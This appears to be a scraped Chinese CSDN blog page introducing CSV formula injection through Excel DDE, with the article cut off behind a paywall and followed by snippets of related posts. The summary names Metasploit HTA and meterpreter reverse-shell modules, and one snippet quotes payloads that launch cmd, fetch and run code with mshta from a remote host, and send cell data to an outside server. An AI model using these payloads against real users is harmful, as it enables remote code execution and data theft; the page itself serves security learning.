csv注入初探以及利用

最新推荐文章于 2024-08-27 10:00:00 发布
最新推荐文章于 2024-08-27 10:00:00 发布
阅读量3.4k 收藏 1
点赞数
分类专栏： 安全 文章标签： csv注入
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34304003/article/details/87635582
版权
本文探讨了CSV注入这种攻击向量，当Excel打开CSV文件时，恶意公式可能被执行，导致代码注入。通过启用Office的特定功能，攻击者可以使用Metasploit的exploit/windows/fileformat/office_word_hta和payload/windows/meterpreter/reverse_http模块进行攻击。受害者在不知情的情况下运行构造的Excel文件，可能导致攻击者获得远程访问。
摘要由CSDN通过智能技术生成

简介

之前进行渗透的时候经常会碰见csv，excel导入的功能。也思考过潜在安全隐患，今天刚好看到fb里面的一篇文章，fb上的介绍并不详细，对于其中的利用方式很感兴趣，基于此进行了一番学习。

fb链接
https://www.freebuf.com/vuls/195656.html

漏洞介绍

CSV公式注入(CSV Injection）是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时，文件会从CSV描述转变为原始的Excel格式，包括Excel提供的所有动态功能。在这个过程中，CSV中的所有Excel公式都会执行。当该函数有合法意图时，很易被滥用并允许恶意代码执行。

漏洞环境

攻击机：mac
被攻击机:win10

步骤
1.dde
在这里插入图片描述

2. 首先需要确认被攻击机器excel的DDE是否开启。

office2016开启位置如下图：
位于 文件->选项->信任中心

最低0.47元/天 解锁文章
morgan淡漠
关注
专栏目录
[网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
杨秀璋的专栏
10-26 2万+
这是作者2020年参加清华大学、Coremail、奇安信DataCon举办的比赛，主要是关于钓鱼和异常邮件识别研究。非常感谢举办方让我们学到了新知识，DataCon也是我比较喜欢和推荐的大数据安全比赛，这篇文章2020年10月就进了我的草稿箱，但由于小珞珞刚出生，所以今天才发表，希望对您有所帮助！感恩同行，不负青春。
CSV注入
94小菜
11-25 4559
CSV注入 漏洞简介： CSV注入(CSV Injection）漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时，攻击者通常将恶意负载（公式）注入到输入字段中，用户导出文件打开后，EXCEL会调用本身的动态功能，执行攻击者的恶意代码，从而控制用户计算机。 漏洞原理： 在xls表格中，输入=1+1，回车后看到表格变成2，+号被当作运算执行了 不只是+号， = 、- 、@这三个符号也会被excel解析成共事 DDE（Dynamic Data Exchange）协议： DDE
CSV Injection （CSV 注入攻击）
cwxbox
01-28 1262
CSV注入，也称为公式注入，发生在网站在CSV文件中嵌入不可信输入时。当使用电子表格程序(如Microsoft Excel或LibreOffice Calc)打开CSV时，所有以=开头的单元格都会被软件解释为一个公式。
Web 安全之 CSV 注入攻击详解
最新发布
qq_44005305的博客
08-27 624
CSV 是一种简单的文件格式，用于存储表格数据，每行一个数据记录，每个记录由逗号分隔的多个字段组成。CSV文件因其简单性和跨平台性而被广泛使用，在数据导出和导入中尤其常见。CSV 注入攻击是攻击者通过某些方式在 CSV 文件中注入恶意的代码，并利用电子表格软件处理 CSV文件时的特性来执行恶意代码实现非法操作的攻击方式。这种攻击通常发生在应用程序在处理 CSV文件时，没有正确地校验或转义用户输入的特殊字符，从而被攻击者利用在 CSV 文件中注入恶意代码。
[译]CSV 注入：被人低估的巨大风险
weixin_34198453的博客
10-22 298
原文地址：The Absurdly Underestimated Dangers of CSV Injection 原文作者：georgemauer 译文出自：掘金翻译计划 本文永久链接：github.com/xitu/gold-m… 译者：mnikn 校对者：yct21，CACppuccino 本文讲的是CSV 注入：被人低估的巨大...
csv注入文件
HoAd'blog
08-06 632
攻击者通过在CSV文件中构造恶意的命令或函数，使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行，从而造成攻击行为。 原因 1、CSV文件中的几个特殊符号“+、-、@、=” 尝试在CSV单元格中输入“=1+1”，回车后，发现单元格的值变成了2，说明加号被当做运算执行了。 除了加号，“-”、“@”、“=”也会被解释为公式。 2、DDE（Dynamic Data Exchange） DDE是Windows下进程间通信协议，是一种动态数据交换机制，使用DDE通讯需要两个Windows应用程序，
R语言数据挖掘初探：数据导入与基本统计分析
R语言的特点包括易于学习和使用、强大的数据处理能力、丰富的可视化功能以及活跃的社区支持等。无论是初学者还是专业数据分析师，都可以通过R语言轻松地进行数据挖掘和分析工作。 ## 1.2 数据挖掘概述 数据挖掘是...
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
热门推荐
杨秀璋的专栏
02-26 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Cracer教程的第一篇文章，详细讲解了安全术语、Web渗透流程和Windows基础、注册表及黑客常用DOS命令。本文将分享Procmon软件基本用法及文件进程、注册表查看，这是一款微软推荐的系统监视工具，功能非常强大可用来检测恶意软件。基础性文章，希望对您有所帮助。
【AI大模型应用开发】【RAG优化 / 前沿】0. 综述：盘点当前传统RAG流程中存在的问题及优化方法、研究前沿
同学小张的博客
03-07 3687
10个痛点问题，20+优化方法，8个前沿RAG研究。本文我们从RAG的流水线开始，全面梳理了当前传统RAG存在的问题，同时针对每个问题，总结了优化方法。并且，整理了当前前沿的RAG研究。
应用安全系列之十：CSV注入
jimmyleeee的专栏
03-03 4920
本系列文章主旨在于介绍一些漏洞类型产生的基本原理，探索最基础的解决问题的措施，不排除有些语言或者系统提供的安全的API可以更好地更直接地解决问题，也不排除可以严格地输入验证来解决。 关于CSV注入，可能平时关注的人比较少，不过，只要有以csv文件格式导出数据，它就可能存在。很多系统都会导出csv，将数据用于分析。 首先介绍一下CSV的含义，CSV就是comma-separated-values，就是使用逗号分开的一串值，当使用excel打开时，逗号隔开的内容会被展开为对应行和列的一个cell的值。 ..
Webug（csv注入）
weixin_40646615的博客
02-23 727
文章目录Webbug（csv注入）CSV注入原理源代码漏洞利用总结 Webbug（csv注入） CSV是（逗号分隔值）的英文缩写，通常都是纯文本文件。EXCEL表就可以存为CSV格式，可以用写字板之类工具打开。 CSV注入原理 创建一个CSV格式文件，使用Excel打开，当你输入一个公式，会被Excel自动运算并执行： eg：输入 =3+1，显示自动运算结果 而当你输入一个Excel本身不会存在的功能时，Excel就会被微软的另一种机制：DDE机制调用。 eg：输入 =cmd|’ /C calc’!.
【CSV注入漏洞】
SHUY96的博客
12-30 1755
一、背景 最近在开发中，遇到CSV注入漏洞，特此研究一下。我们知道“对于网络安全来说，一切的外部输入都是不可信的”，但在我们大脑的第一印象中会把csv文件当做是普通的文件，未对其保持足够的警惕，从而引起安全漏洞问题。 二、定义 攻击人员通过在CSV中构造恶意的命令或函数，当正常用户使用Excel打开这个CSV文件时，恶意的命令或函数被执行，从而导致攻击的行为。 三、产生原因 1、CSV文件中的几个特殊字符+、-、@、=都可用于在Microsoft Excel中触发公式解释 例如：在CSV单元格中输入“=1+
安全测试 csv 注入
weixin_46202430的博客
03-09 398
csv 注入 用户下单时，收货人姓名为 =cmd｜A1!A1 ,下单后 在订单系统可导出订单到csv ， 则=cmd｜A1!A1 则在csv 的收货人列中的某单元格中， 是可以触发打开cmd 的，黑客是可以通过cmd 做一些危险操作，比如： =+1+cmd|’/c mshta.exehttp://192.168.233.102:8080/a’!A0 =HYPERLINK(“http://vps_ip?test=”&A2&A3,“Error: Please click me!”) 这.
java中如何对CSV注入进行输入验证、输出过滤以及使用安全的CSV解析库
06-09
在Java中，可以通过以下方式来对CSV注入进行输入验证、输出过滤以及使用安全的CSV解析库： 1. 输入验证 在读取CSV数据之前，应该对用户输入进行验证，主要包括以下方面： - 数据类型：验证输入数据的类型是否正确...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值